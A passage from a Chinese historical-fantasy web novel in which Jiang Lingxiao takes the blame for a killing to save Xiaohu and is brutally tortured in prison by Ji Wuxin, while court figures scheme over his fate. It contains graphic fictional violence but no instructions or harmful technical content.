杀了姬有德,得罪了姬家,整个京城调兵严防死守对付这几个人,逃都逃不出去,一切都将终结。
炼丹,追凶,复仇,统统化为泡影。
或投降自首被处死,或鱼死网破被正当屠杀,结局就是个死。
所有人都知道死局无解,陷入沉默无声。
“咚”,一个紫色影子莽撞冲进门,惊了满屋子的人,都以为是姬无心来报仇了。
紫玉瞥见柜上死人头,脚下一软,摔倒在地,声音麻木:“姬无心出兵禁足了五爷,快跑。”
小虎跑去扶起紫玉,气概万丈:“我不走!一人做事一人当,我不光杀孙子,还要杀老不死!”
“快点快点!别让杀人犯跑了!”外面传来士兵“踢踢踏踏”的脚步声,能听出至少上百人。
耿正催促:“前门被占领,再不走,后门也出不去了!”
“砰砰砰”后门门板也被士兵钉死,插翅难飞了。
耿正揪住小炸药的衣襟:“愣着干什么,去拿炸药罐!”
小炸药惊慌:“怕走火炸了客栈,伤及无辜,我最近没配炸药。”
耿正攥拳咬牙,恨不得一拳击杀不成器的小炸药。
只能是有人在前门吸引火力,当活靶子,后门才有机会逃亡。
姜凌嚣当机立断:“你们护送女人,都走。”
耿正一愣:“你不走?”
死鱼眼几人欲留下,被姜凌嚣阻拦:“我是东家,任何时刻都要服从我的命令。”
小虎钻到桌子底下,牢牢扳住桌子腿,誓与姜凌嚣共存亡:“你自己留下什么意思?杀姬有德为民除害的是我,你少抢功!”
姜凌嚣深吸一口气,朝桌子底下伸手,语气温和耐心:“来,你跟我一起留下。”
小虎从桌子底下爬出来,还没站稳,颈侧就挨了姜凌嚣一击,一阵麻痹以点扩散,直至眼前一黑,她眼皮一翻,身子往下瘫软。
他使劲抱紧她,恨不得嵌进身体里,但他只能留恋片刻,果断将她交给紫玉,由死鱼眼等人从后门带走。
客栈门开,姜凌嚣背手走出来,独自一人。
火炬烧夜,精兵拔刀举弓相向,任谁都插翅难逃。
姬无心骑着高头大马,阴森狰狞:“交出凶手。”
姜凌嚣提起姬有德的人头,直冲姬无心,让爷孙面对面,看个清楚。
他一字一句:“我就是杀死姬有德的凶手。”
姬无心看着孙子的断头,嘴角抽搐:“顶罪赴死,我定成全你。”
46. 死刑判决
姜凌嚣和姬无心正面交锋,大部兵力被成功吸引到客栈前门。
后门,一个葫芦冒着火星从楼上摔下,“轰”,起了浓烟,呛的士兵们不停咳嗽,像无头苍蝇一样瞎跑乱撞。
没有炸药粉,耿正去厨房翻出一碗辣椒粉,没有可以密封的陶罐,他拿走了客栈供奉的一只葫芦,做了“辣椒烟幕弹”。
“咳咳咳……”声中,小炸药从二楼厨房跳下来,举斧子砍烂后门上钉死的木条。
不远处,巷子口的接雨缸,一支冷箭和一只千里镜顶着盖子,瞄准客栈后门的方向。
千里镜中,后门成功逃出一辆马车,红裙女子匆匆跳上去,耿正单独骑马,驮个大木桶。
死鱼眼带着几个人,朝另一方向跑去。
“姜凌嚣的女人从姬家逃跑时,是穿的红裙吗?”
“是,我混在姬府的时候,看得清清楚楚。”
“姜凌嚣被捕,死路一条,不用我们杀了,跟紧他女人。”
两黑衣人收队,绕开姬家兵,跟上红衣女子乘坐的马车。
快到沈府的路口,马车丢下耿正,直奔沈府大门。
姬家兵拦住检查,一看红裙便知是通缉令中的小虎,立刻扣留进沈府,严密封锁。
姜凌嚣和他女人全都落到了姬家兵手里,绝无生还可能,无需再暗杀。
两黑衣人悄悄撤退,回去禀告中间人。
中间人藏在黑暗中不露面,生疑:
“既然是逃跑,往有姬家兵的沈府跑,岂不是自投罗网?”
“逃跑就要轻装上阵,老头却驮个累赘的大木桶,必是里面藏了人,也就是红衣女和紫衣女掉包了,你们中了声东击西计,早就被发现了,蠢货!”
两黑衣人被踹翻在地,赶紧爬起来重新追踪小虎真实去向。
黑夜中,耿正快马加鞭,赶往城郊荒村。
按照紫玉描述的“一直沿着石子路走,拐过独木桥,门口有两棵大槐树的,便是我家”,顺利到达。
卸下木桶,紫衣女子钻出来,趴在地上猛烈喘息。月光下抬头,是小虎的脸。
逃跑前,往楼下扔辣椒葫芦时,巷子接雨缸里闪过一道光,转瞬即逝,但还是被耿正犀利的三角眼捕捉到了。
所以施计,将小虎和紫玉偷梁换柱,兵分三路,成功甩开了暗中跟踪的黑衣人。
耿正郁闷,姬有德死了,黑衣人还在活动,且行事不与姬无心一路,看来灭门姜家的凶手,姬家并非最大的嫌疑……
天理寺,姜凌嚣被重兵押解至此,跳过审判环节,直入天牢地笼。
地狱分十八层,让活人闻风丧胆的天牢也分层级,卖国贼于克明和谋反罪的陈庆升都没关进地笼。
地笼是天牢里最下贱的一层,在地下,位于天牢各排污道的汇集中心。
阴暗潮湿,滴水成冰,霉气浓重,不时有蝙蝠“呼呼”盘旋,老鼠“吱吱”乱窜,是个躁动的魔窟。
狱卒将姜凌嚣绑在刑架上,提来一桶飘着辣椒粉的冷水,一盆细盐。
冷水表层结了层薄冰后,牢中响起“踏、踏、踏”铁脚掌敲地的声音。
火把亮起来,一双铁尖头狼靴站到姜凌嚣面前。
姬无心手握牛筋鞭,掀起姜凌嚣的下巴。
清癯不屈的脸掩映于乱发,不显狼狈,反倒有种落拓不羁。
姬无心咬牙切齿:“我一恨别人年轻,二恨男人长着长华而不实的漂亮脸。”
话落,“嗖”,牛筋鞭钻进冰水浸湿,又“砰”的蘸满雪白的盐粒,姬无心胳膊往空中使劲甩了两下。
“啪、啪”两声闷响,姜凌嚣左右脸皮开肉绽,两条深深的沟壑汩汩流血。
辣椒和盐杀透伤口,疼痛瞬间要顶翻头盖骨,爆裂心口。
鲜血顺着脸颊,滴到姜凌嚣嘴里,他咽下咸腥的血水,忍痛冷嘲:“这两鞭子抽在姬有德脸上算美容,如果他头还在脖子上的话。”
姬无心受了刺激,对着他手腕又是“啪、啪”两鞭子。
老东西下手刁钻,专抽手腕皮肉最薄处,姜凌嚣的手腕霎时像一脚踩出果核的红李子——血肉稀烂,露出白森森的腕骨,比剁手还疼。
冷汗从太阳穴上喷出,抠紧刑架的双手指甲快要掀飞,但姜凌嚣不吭一声。
姬无心拽过姜凌嚣的下巴,狼眼阴鸷:“那个妖女藏去了哪里?”
姜凌嚣冷眼睥睨,拒不交代。
“年轻,就是喜欢装。我审讯过很多人,一开始都表现出一副宁死不招的架势,但都扛不了三天,为了苟活,亲爹亲娘都开始出卖。
我喜欢审讯,就是喜欢看桀骜不驯的人,变成他曾最排斥最鄙夷的下贱样子。
至今,没有人在我手中成为例外。”
姬无心松手,竟反常好心地替姜凌嚣包扎起手腕,用棉布缠紧伤口。
但他转头就将一个琥珀杯怼在姜凌嚣脸上,接鲜血。
伤口已凝血,姬无心转动杯沿,重新戳烂伤口,不流血了就将杯子狠狠剜大伤口,直到接满一整杯鲜血。
姜凌嚣疼得浑身打摆子,依旧不吭半声。
姬无心得逞地朝姜凌嚣举举杯,当面喝下他的鲜血,拍拍肚子:“今晚我最生气的,不是死了一个孙子,而是你拖住我,害我丢了寿餐。”
自己最在乎的人,被当做猎物残害!
姜凌嚣恶狠狠开口,疼痛让他声音格外悲怆:“我的血液里满是仇恨,仇恨有毒,你早晚会中毒而亡。”
姬无心哈哈大笑,露出血渍透的尖牙:“诅咒,是失败者的自我安慰。强者,只用暴力说话。明日我来给你揭棉布,如果今晚你没被老鼠吃光的话。”
狱卒也随姬无心离开,火把也被熄灭,牢中陷入地狱般的黑暗,无尽无界。
姜凌嚣脸上、手腕的伤口还在“滴答、滴答”着鲜血,血腥味四溢。
“呼啦呼啦”蝙蝠落在捆绑架上,“咯吱咯吱”老鼠磨着牙从角落里聚拢过来。
他成为一道鲜美大餐。
万口齐下。
牙齿啃噬着骨头,皮肉。
姜凌嚣疼的昏厥过去。
沈府院中,马车上跳下身着红衣的紫玉,她忙不迭跑进沈丘染房中,匆匆交代过事由经过。
还未切实证明姬有德真是暗杀姜家的凶手,就这样畏罪死了。
更无法接受姬无心饮血吃人。
沈丘染一脸懵:“姬老头为什么吃小虎?”
轮到紫玉发懵:“······我不是他,并不能理解他的变态。”
沈丘染挠挠头:“我的意思是,鬼故事里都是吃童男童女。小虎除了脑子,哪儿都不算童了。”
“······”
紫玉:“你现在最重要的,不是该想个办法,救出三爷吗?”
沈丘染搓搓脸,从乱七八糟的思绪中抽离,想要趁黑闯出重兵包围。
刚出房门,他就被沈万湖堵住:“大半夜不睡觉,你干嘛去?”
沈丘染气势汹汹:“我要连夜进宫,秉明皇上真相,三哥不是凶手!姬有德被杀,是他罪有应得!”
“命案已发,乃是无法更改的事实,必须有个凶手才能结案。”
沈丘染挥拳咆哮:“可那个被冤成凶手的,是您的亲儿子!您怎么能一而再再而三地抛弃伤害三哥?!爹,您的心怎么比
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茅坑里的石头还冷还硬?”
“放肆!我如果心狠,早放你出去送死了。”
沈丘染抽了下鼻子,声腔潮湿:“你,我,二哥,哪个飞黄腾达不是靠着三哥名义上死亡换的?做人得讲良心!”
沈万湖震怒:“自古以来,都是子女顺从父母,还有老子反过来谢儿子的?
我能秀于朝林,你能战功赫赫,那是靠的自己的才能!没本事,给天大的机会也白搭!
人家现在姓姜,做丹挣了那么些银子,孝敬过我一文吗?”
“您要不是我爹,我真想抽您。”沈丘染把拳头捏的“咔嚓咔嚓”响。
“混账!”沈万湖喊人叉住沈丘染,呼喝紫玉,“把他关回房看好了!他跑了,我连你舅和表哥也赶出家门!”
为了不牵连紫玉,沈丘染没再闹腾,彻夜不眠想营救三哥的法子。
姬府。
小炸药对墙挥剑。
“傻缺,怎还写上书法了?”招风耳捅死最后一个活人,一脚踹开,低声骂他。
死鱼眼吹个口哨,众人收工集合,陆续翻墙而出。
在墙上写完最后一个血字,小炸药擦净剑上蘸的鲜血,忙跟上死鱼眼等人。
刚集体翻出院墙,姬无心就在大门口下马,怀中抱着个红漆盒。
属下跪拦:“国师,府上遭了血光之灾,姬有德的随从全被灭口!”
一个时辰前还在烈火烹油的寿宴,早已宾客散尽,房空院静,留下一地狼藉,血迹斑斑。
餐桌上,姬有德手下的尸体横七竖八,定是刺杀突如其来,毫无防备,几个死人嘴里还塞着没嚼完的菜肉,玄龙堂的炼丹师更是身首异处。
属下分析:“这些都是参与过绑·架玄虎堂炼丹师的人,想必知情玄虎丹的秘方。”
姬无心一门心思捉拿姜凌嚣,没顾上追剿其临阵脱逃的手下。
想不到,他们不是弃主而逃,竟然趁姬府兵力薄弱,抄了老底,灭绝了丹方后患。
姜凌嚣赴死路上还在玩调虎离山计,拉上一群垫背的!
姬无心气地掀了桌子,尸体滚落在地,他一脚踏在这群不争气的死物上,戾气冲天:
“关闭城门,全城戒严!搜出任何关联人都直接灭口,宁可错杀,不可放过。但杀死有德的那个妖女,必须活着带回来。”
士兵即刻兵分三路,有序出动。
几个亲兵突然排成一排,眼神闪烁,挡住身后的墙。
姬无心天性多疑,挥刀吓退亲兵。
墙上,留了嘲讽血书:【姬有德字缺德号无头道人】
姬无心燥怒,拔出利剑,疯狂砍墙,墙皮成块成块地往下掉,诡异的是血书岿然不动。
“来人,炸了它!”
没有现成的炸药,三个士兵抬来本用来贺寿的礼炮,在墙角下堆成炮山。
火刚点着,天上突降冻雨,继而夹雪,洇湿礼炮。
礼炮作对似的,不能齐爆,只能一个接一个的炸响,飞雪中开出巨大的烟花,异常清美绚烂。
三个士兵抬头,一时看得着迷,拍手叫好,忘记今日已成姬有德忌日,该忘喜同悲。
“噗——噗——噗”,三条血迹与烟花同落,三个人头乱滚在地。
姬无心收刀回屋,提笔蘸了蘸刀刃上的鲜血,要替天理寺判官写下姜凌嚣的判决。
“咔嚓”,姬无心扭了下脖子,打开红漆盒,抱出姬有德的人头,使劲扒拉开孙子已闭合的死眼,好让他亲眼看到仇人的结局。
带血笔锋游走出最终判决:【春节当天斩首示众城门鞭尸十五天】
今夜小年,姜凌嚣阳寿仅剩七天。
47. 求死
通往太后宫中的路上,飞驰过一辆豪华马车。
车未停稳,竞天公主就撩帘跳车,跌跌撞撞,失魂落魄疾呼:“母后!母后!”
寝殿内,太后正仰头闭眼,由宫女拆卸妆容,竞天呼声逼近,太后眉间微澜乍起,宫女即刻出门阻拦:“公主,太后已安歇,请明日再······公主!公主!”
帘子被固执撩起,竞天公主脸色惨白进来,扑进太后怀里,浑身止不住地颤抖:“姬无心吃······吃人肉!喝人血!”
太后轻抚竞天的头发,一言不发。
竞天抬起泪脸:“母后,您怎么不震惊呢?”
太后面如止水:“可能哀家鬼故事听多了。”
“不是鬼故事,是我亲眼所见!我还看到姬有德被人割下了头!”
“姬有德是死了,今晚去拜寿的都听见了这个传闻。你是被传闻吓到了,做了噩梦。既是梦,就并非你亲眼所见。”太后妄图篡改女儿记忆。
竞天吃惊地盯着她并不伤心的脸,“姬有德是您的亲侄子,您那样器重他!母后不伤心吗?”
梳妆台上,摆着几个宝盒,太后拉过其中一个,随意抓起一把琳琅,“如同这些名珍,哀家不止一个亲侄子。”
竞天浑身发冷:“在您眼里,他曾是做我驸马的不二人选。”
“他死了,不正合你意?”
竞天怔了片刻,“姬有德曾是您眼前的红人,死了都牵动不了您。也许,我对母后来说,和他并无二致。”
太后终于正眼看竞天,眼神缱绻,不再自称哀家:“我只会因你和皇帝而受牵动,尤其是你,我唯一的女儿。”
竞天从鼻底冷哧一声:“可笑。我前些日子被皇帝打,找您做主,您并不为我出头,还要我顾全大局!所谓大局,不过是皇帝的脸面!”
太后伤心地闭了眼,再睁眼,已恢复从容,忽然急转话锋:
“那日朝堂公审,陈庆升否认与宦官勾结谋乱,按理说,是要一番仔细审讯才能定罪的,但秋绘控告完他,就死了个及时,他已跳进黄河洗不清,必须背下这个罪名。
当然,他有他的不干净,阴差阳错就这样定罪了。”
竞天吓了一个激灵。
难道,难道······母后究竟知道多少,怎么知道的?
她不敢想下去。
太后睥睨竞天:
“我为你,做的比你想象中多,所以不要再借机指责我和你死了孙子的外祖。
死了至亲,我何止伤心,但我是孤立无援的寡妇,还有年幼的皇帝和公主需要我护持,因此,坐在太后的位置,永远不能表现出难过。
公主,回宫安歇吧。一觉睡到明天,今天再难,都会成为明日黄花。
宫中几十年,上万个难熬的日夜,我都这样劝慰自己,才看到第二天天亮的。”
每个需要母后温柔的时刻,最终都会得到一个失望的结局,竞天离开母后怀抱,缓缓直起身子,没落转身。
回宫路上,三步一宫女,五步一侍卫,宫中最不缺人,却无一人可以依靠。
只剩自己,太后打开宝盒最底层,露出一根发簪。
——杀死姬有德的那根,被暗中保护竞天的大内捡到,送来时还带着血。
这条簪子,是她赏给竞天的,后来出现在了姬有德领进宫的年轻女子头上,最终落在了姬有德死亡现场。
那天姬有德带进宫的女子,头上戴着这条簪子,太后见了如没见一样,不动声色。
今日出了是非,知道了真相还是跟没知道一样。
太后小心擦拭干净簪子,封存竞天和将死之人姜凌嚣暗地勾连的秘密。
日月翻斗,天牢外天光大亮,地笼内暗无天日,狱卒打着火把,躬身引路。
尖靴上的铁狼头泛着冰冷的金属光芒,黝黑的狼毫大氅闪着油润的光泽,配上阴戾的双眼,将姬无心衬得像匹活狼。
他浑身散发着所经之处寸草不得生的掠夺气质,每走一步,乱叫乱飞的蝙蝠和老鼠变得噤声、安静。
一股猛烈的血腥味直冲鼻腔,狱卒们赶紧捂住口鼻,姬无心却深深一吸,表情陶醉。
火光举高,照亮架子上绑着的姜凌嚣。
他抻直的两臂已完全血肉模糊,被蝙蝠老鼠嚼了个稀烂,脖子垂着,乱发遮脸,一动不动,看不出是死是活。
姬无心使个眼色,狱卒朝姜凌嚣泼了一桶冰盐水。
千万个伤口猛然苏醒,朝千万个不同的方向撕扯,生出千万种伤痛。
姜凌嚣眼皮挣扎抬开,眸光将灭未灭,面色已等同死人。
姬无心扳过姜凌嚣僵硬的下巴,让他亲眼看到刀子挑起手腕上的布头。
包扎了一夜,皮肉已与棉布长在一起,没长在一起的也已被痂深深黏住。
姬无心歪嘴一笑,揪住布头,一圈圈扯下棉布,不紧不慢,生生拽下皮肉。
刹那间,疼痛穿透了天灵盖。
曾经,也曾血刃他人,现在真乃小巫见大巫,折磨人,姬无心是顶级的变态。
姜凌嚣冷汗如瀑,牙齿打颤,一心求死:“杀了我。”
“六天后,你想活也活不成。受不了就告诉我,妖女躲去了哪里?”
姜凌嚣冷笑一声,奄奄一息的眸子重新浮起顽强的叛逆,“你休想。”
狱卒抬来一个沉甸甸的大罐子。
姬无心卸下大氅,挽起袖子,露出衰老苍白且无肉的手臂。
没了盔甲和厚重衣物的掩盖,暴露了他并不强壮,身板枯竭,火光阴影下,他像副活骷髅。
活骷髅往罐子中倒了点水,然后用手臂搅拌。
光线有点暗,姜凌嚣看不清罐子里究竟何物,只能看清挂在姬无心手臂上的东西发白,粘稠,不容易掉落。
姬无心捧起一捧白色粘稠,均匀地涂抹在姜凌嚣伤口上。
瞬间,像是烈焰烧遍全身,姜凌嚣魂魄直达鬼门关。
那是辣椒水拌的盐浆。
兵还未撤,沈府各房走动受限,气氛凝重。
紫玉泼洗脸水开门,一个姬家兵趁机挤进来,沈丘染正要泄怒,兵猛地敬礼:“将军,是我。”
沈丘染眨眨眼:“胡二毛?”
本是个无名小卒,因康陵郡战场上舍命保护沈丘染,后被提拔,兵力整编,分到姬家阵营。
胡二毛压低嗓门:“将军,长话短说。我来府上换班,给您透个信儿。您三哥在牢里受尽非人虐待,恐怕快撑不住了。若您有打算,要尽快。”
门外有人喊:“胡二毛!”
等寻找声过去,胡二毛忙闪出门口。
姬家哨兵忙着换班,趁乱,沈丘染和紫玉都从狗洞钻出来,成功出逃。
跑出很远,沈丘染拍掉身上鸡毛狗毛,尴尬自嘲:“堂堂将军,浴血沙场不屈,为了三哥,脸也不要了,学起鸡鸣狗盗。”
紫玉无心玩笑,系紧后背的包袱:“我回家了。”
“雇匹好马,别累着。”沈丘染塞给她一锭银子,两人分别行动。
沈丘染来到军营,号召到出生入死的十几个手下,拿着皇帝赏赐的玉佩,准备到地笼中提人,然后再找朱帝谢罪。
哪知,还没到地笼门口,沈丘染一行就被姬无心的亲兵齐齐叉住。
老东西早就防着他,直接来了个守株待兔。
沈丘染被五花大绑到朱帝面前,姬无心已等在那里,自鸣得意。
殿中,朱帝正在大发脾气。
陈家案子基本收尾,结党营私的名单呈了上来,朱帝最恨觊觎皇权,愤怒下令:“陈庆升这个贼头子免去流放,直接碎尸万段!记着,是万段!”
姬无心立刻火上浇油,状告沈丘染自诩功高震天,有恃无恐调兵遣将,恐有大逆不道之心,请皇帝揍他、剁他、万碎他!
“万碎爷”嗷的一声,当场就赏了沈丘染一百军棍。
向来冷眼旁观的陶公公,忍不住劝朱帝:
“自皇上您登基,平定拜基蛮子,边疆大定。我皇威震四海,必将载入史册,成为千古一帝。
一百军棍,会死人呐!沈将军乃皇上的得力干将,打死了他,有损皇上仁爱慈悲美誉不说,更是折损了您的左膀右臂。”
朱帝斜了姬无心一眼,觉得陶公公说得有理,拿出做千古一帝的气魄,小手一挥:“那就算沈丘染受属下挑唆,打他属下。”
沈丘染膝盖磕烂,为属下求情:“他们不过是迫于臣的淫威,受臣蛊惑,臣宁愿自领一百军棍,恳请皇上不要
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牵及无辜!”
朱帝大为光火,正要还愿一百军棍,但瞥见姬无心得逞阴笑,又改主意了:“朕乃明君,不滥杀忠臣,也不让奸——臣得逞!改赏沈丘染廷仗十下,夺其兵权,圈禁在家!”
被夺兵权,如同杀了沈丘染,但此刻他不敢再刺激喜怒无常的朱帝:
“臣甘愿受罚,但为姜凌嚣求一名太医。他在地笼受尽非人虐待,恐怕已染鼠疫,万一传染了狱卒,狱卒再传染他人,整个京城又陷瘟疫。皇上明治,普天下百姓都祈求您佑其平安。”
想到自己之前染疫,受了不少罪,朱帝生怕鼠疫再起祸乱:“准。”
沈丘染大叩谢恩,前去领廷仗十下,打的屁股开花,趴在长凳上无法起身。
姬无心站在沈丘染面前,扔个盒子在地,冷笑:“你三哥的。”
盒中掉出一条长长的血布,黏连着皮肉。
沈丘染头皮发麻,咬牙切齿:“你个老不死的!姬有德死得好!缺德又缺头······”
“砰”的一声闷响,姬无心抓过板子,敲在沈丘染嘴上。
血喷出两米远。
姬无心狰狞喝人前来,抬沈丘染回家圈禁,如若见他偷溜出门,监军也以抗旨杀戮。
不远处,竞天和若善从妙音坛听戏路过,听见打人声,招呼过小太监,问出了什么事。
小太监低声:“沈将军的三哥杀了人,沈将军要捞罪犯,被姬国师打得满嘴是血。”
竞天脱口而出:“姜凌嚣又杀了谁?”
若善惊讶:“又?”
竞天一愣,忙改口:“他杀了谁?”
“姬有德被沈将军的三哥割了脑袋!杀人犯大年初一就斩首,就剩六天了!”
小太监生怕被发现传播闲言碎语,飞快跑了。
若善惊得合不拢嘴:“是之前在太子殿见过的那个姜凌嚣吗?想不到斯斯文文,怎么敢杀人?还割头!”
明明姬有德是被那个女人杀的,自己递的凶器。
姜凌嚣为她顶了罪。
还欠着自己恩情未还,缠斗未续,他就要死了……
脚下是个大看台,周围没有栏杆,竞天僵硬地走着,走着,猛地踩空,“咚”的一声,摔下看台。
“啊!来人啊!”若善受了双重惊吓,顺着台阶爬下去,找到竞天。
竞天双膝摔出血,满脸泪痕。
拜基和亲队正在宫中走动,听见呼叫救人,亲王冲在前头,抱起竞天公主,前去就医。
不到午时,已有消息传到竞安宫,拜基和亲队看上了竞天公主,正朝朱帝求亲。
听闻和亲队已选中竞天,姬无心更是无召就闯入竞安宫,不管不顾竞天伤了膝盖,卧床不起。
三孙子姬有德死了,他强硬推举四孙子做竞天的驸马。
竞天讥讽:“你四孙子过了年才十五岁,站本宫跟前像个挂坠。”
小的不成,姬无心又推举大孙子姬有才,年龄刚好适配。
竞天气地发抖:“姬有才早明媒正娶过了,让本宫过去做小?”
“那我回去让正房生病,有德大仇得报那天,正好给你空出位置,双喜临门。”姬无心势必要姬家人做驸马,志在必得离去。
竞天恨的牙痒。
处境愈发艰难,她的好日子也不多了。
堂堂公主,怎可躺在床上做刀俎鱼肉!
她筹谋半天,彻底孤注一掷,宣来阮太医,冷冷道出拯救姜凌嚣的惊天计划。
阮太医听罢,吓呆了,索性跪到地上,这次绝不敢同流:“太大逆不道,太有违人伦纲常!无论成功与否,都会让皇家蒙羞,断断不可,恳请公主三思。”
竞天决绝傲然:“这世上流血的战争,都是你们男人造成的。我一个女人,不让任何人流血,不战而屈人之兵,你该赞美、推崇,而不是劝阻。”
阮太医毫不让步,竞天撩起床帘,挣扎着下了地,包扎的膝盖处渍出鲜血。
她脸上现出和姜凌嚣相似的癫狂:“你若不应,我也要搏,不过我塌台,一定供出于克明之死与你脱不了干系。”
“……”
距离过年杀头,只剩六天,姜凌嚣绝地求生有且仅有一次机会。
一旦错过,必死无疑。
48. 犟种
费劲周折,傍晚,阮太医顶了同僚的勤,提心吊胆来到地笼。
姬无心凌虐,阮太医救治,来来回回在姜凌嚣身上做着拉锯,只会让他如陷地狱无间,永无宁日遭受痛苦折磨。
这样,真生不如死。
阮太医欲言又止多次,最终如实道出竞天的营救计划,苦口婆心:“我知道你固执,自尊强烈,但实在走投无路了,不如就赌一把。”
男人,怎能用如此手段求生!
姜凌嚣气若游丝,还强硬不从:“我宁死。”
阮太医一针见血:“你要不出狱,谁来保护你那个红颜知己?”
姜凌嚣果然安静了片刻,最终还是拒绝:“只有我死了,命案就有了凶手结案,她便安全了。”
“男欢女爱,情意绵绵,你替她顶罪,受了这么多刑,够仁至义尽的了,还准备把命搭上,真受不了你们年轻人!难不成,她救过你命?”
“救过。”
阮太医手插在额头,顿了顿,“犟种。”
自玄虎堂开业以来,姜凌嚣对伙计慷慨大方,对商界同仁有求必应,时时处处以德服人,人缘极佳。
他被抓,掌柜的吕富全第一个不甘,赔上四十来年的脸面,给京城商会同仁一个个磕过去,求业界团结救东家。
京城商户苦姬家横行霸道久矣,姜凌嚣在业内又无可指摘,颇为仗义的秦会长亲自牵头,号召全京城大小商户签了万民愿,请求公开审理姬有德凶杀案,否则没凭没据,就得放人。
万民愿签署顺利,只是还未送至宫中,秦会长家半夜被烧,惊吓了家中老小,秦会长一病不起。
几个最为活跃的商界同僚,不是商铺被砸,就是被马车撞伤,损失惨重,自身难保。
轰轰烈烈的万民愿,最终偃旗息鼓。
新一轮折磨开始前,姬无心将外面的惨烈失败的营救转述给姜凌嚣,冷嘲:
“历朝历代都有蚍蜉撼树的自大狂,单靠手里有点钱,就敢反有兵有权的人,脑子让钱烧坏了。
你那个天真的掌柜,整天忙着奔走,也不注意看路,让楼上掉下来的花盆给开了瓢。”
手无寸铁的吕富全和业界同仁,竟为自己奔走申冤,却在掌权者发力下,不堪一击。
姜凌嚣被同僚的义气震撼,也被姬无心的无情残暴激怒。
他不顾身陷囹圄,做着待宰羔羊,为同僚悲鸣,愤懑:
“你折磨我,杀我,屠我,是你我个人恩怨,把无辜牵连起来算什么!
你这个衰老腐朽的孬种,我一定会为那些想要救我而受你迫害的人复仇!”
姬无心蔑笑,狱中骤然敲锣打鼓,持续了一整夜。
折磨手段迭新,不许姜凌嚣睡觉,瓦解他的精神防线。
身体上的剧痛,加上缺觉带来的摧残,姜凌嚣感觉肉·体也许早就死了,只剩魂魄残存着微弱的意识,他开始不受控地说胡话。
姬无心凑近姜凌嚣,“妖女是什么变得?”
姜凌嚣感觉身子漂浮在云端,眼前白茫茫的,听觉杳冥,仿佛来自神明问话,他下意识答:“蝾螈······”
“怎么接触到的她?”
“她附身到我濒死的身体里……我很痛,醒来,她就出现在了我眼前……”
“然后呢?”
姜凌嚣时而听得见,时而听不见,虚实不分,“······什么?”
“你被她附身后,除了救回你的命,身体还有什么改变?”
“有······”
“有什么?”姬无心激动。
“我爱她。”
说完,姜凌嚣头一歪,神志昏迷。
不知过了多久,姜凌嚣感觉像在溺水,然后猛地呛了几下,咳醒了过来。
姬无心松开他脑后的头发,放下水盆。
姜凌嚣咳嗽时,抬眼看到前面点着的火炬下,一个穿红衣的女子背对着他,束手吊在房梁上。
姬无心阴笑:“找到她很难吗?”
红衣,是小虎身上那件,身形,也跟小虎一模一样。
只是一个昏迷,她就被姬无心挟持了。
“小虎!虎儿······”
姜凌嚣拼了命嘶吼,将缺水的嗓子挣破了,血涌到嘴角,嘀嗒嘀嗒流下来。
他恨自己,没能保住她。
姬无心持剑划过红衣的脊柱,刺在腰间,她的惨叫声被嘴上白布条勒成呜咽。
百折不挠的姜凌嚣,终于软弱下来,声音破碎:“放了她。求你。”
剑挑起了姜凌嚣的下巴,姬无心哈哈大笑:“这么能抗,我还以为你刀枪不入呢,原来一个女人就能让你不堪一击。你怎么求我?”
“你要我怎么求你?”他哀哀的看着受苦的她,彻底失去了对抗。
“除了这个女人,对你来说,还有什么比命更重要?”
落魄到濒死,姜凌嚣渍血的唇齿间,挤出的二字依旧清矜冷傲,“尊严。”
“嗯,那我就来践踏你的尊严。”
姬无心割断姜凌嚣身上束缚的绳子,姜凌嚣“噗通”摔在地上,姬无心伸出靴子,坏笑:“舔它。”
士可杀不可辱。
但红衣倒映在姜凌嚣眸中,激起万丈千澜,他的尊严与泪水摇摇欲坠。
只要能换回她的命,尊严被践踏算得了什么。
姜凌嚣的血身已无法直立,他一寸、一寸朝姬无心的靴子爬去,泪水破碎的双眼,与铁铸的狼眼对视,他在心底一寸、一寸刻下耻辱与仇恨:
死后做鬼,也要记得纠缠姬无心。
他刚低下头,就被姬无心抬脚踩住了脑袋,在他脖子上狠狠一碾。
“你以为为了一个女人而献祭男人最重要的东西,叫爱情?
不过是因为你年轻,盲目,自以为是。
年轻人做什么,都喜欢放肆,一无所有却喜欢义无反顾,非要闹出轰轰烈烈的动静。
你是,追逐做英雄的沈丘染也是,那股子初生牛犊不怕虎的劲儿,真让上了年纪的人牙根发痒。
别以为我衰老了就不能参与你们年轻的世界。
我们掌权,制定规则,用暴力驯化你们的桀骜,扼杀你们的激情,磋磨到你们也变成衰老的一员。”
姬无心抬手看着自己皱纹满布的手背,重重叹了一口气:
“竭尽全力争斗了一辈子,甚至不惜向朝廷献祭自己的亲儿子,终于得到了钱权,但随之而来的,是你悲哀的发现,自己不可控的老了。
然后你意识到,钱权随着肉身的消亡,全都没了意义,仿佛你之前的人生是徒劳的。
所以,要保持,要延续钱权,就要先让这副身体回春。”
姜凌嚣明白了,这就是老不死的为何要吃小虎的血肉,因为她有愈合能力,他想转嫁这种能力,重返年轻,一直、永远、贪婪无度地霸占着钱权!
姬无心的自陈让他对衰老的恐惧达到顶峰,他挥剑,乱砍起年轻的红衣女子泄愤。
“不!”姜凌嚣一张嘴,血喷,喉咙再次撕破。
每砍在她身上的一剑,都痛在了他心上,他从来没有过的想死,想结束这窒息的痛楚。
忽然,他的悲痛戛然而止,嘴角渐渐括出一弯笑意。
吊着的红衣女子,不过是跟小虎身材差不多的女人,穿着小虎的同款衣裳。
因为他的她会反抗,会不屈,不会逆来顺受,任由别人砍杀!
只要小虎没落到姬无心手里,姜凌嚣又恢复到了宁死不屈,他甚至挑衅:
“年轻就是比你有时间,我会一直做你的眼中钉,肉中刺,一点一点耗死你。”
残恶的地笼外几百里处,宁静小村,几畦菜地围着的草房子里,弥漫着烤馒头的香味,炉膛里柴火噼里啪啦。
小虎趴在热炕,踢着双腿,看紫玉娘给她绣肚兜。
“闺女子,馒头好了。”紫玉爹在馒头片上细细撒好芝麻盐,笑呵呵递给小虎。
她狼吞虎咽。
在紫玉父母的照料下,仅一夜一天,小虎被割的肉已长了近一半回来,也快结
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痂了。
虽不似从前那样愈合迅速,也不能完好如初,但只要不是动情刺激,愈合能力还是比凡人强一些。
紫玉父母就一个女儿,宠爱有加,颇有养女儿的经验,怎么养紫玉,就怎么养小虎。
姬无心让小虎看到人性之恶,紫玉父母让她感觉到人性之善。她第一次朦胧出有父母真好的感觉,说不出的温馨与平静,想要这种幸福地久天长。
三人正过得像一家子,外面传来清脆的一句:“我回来啦!”
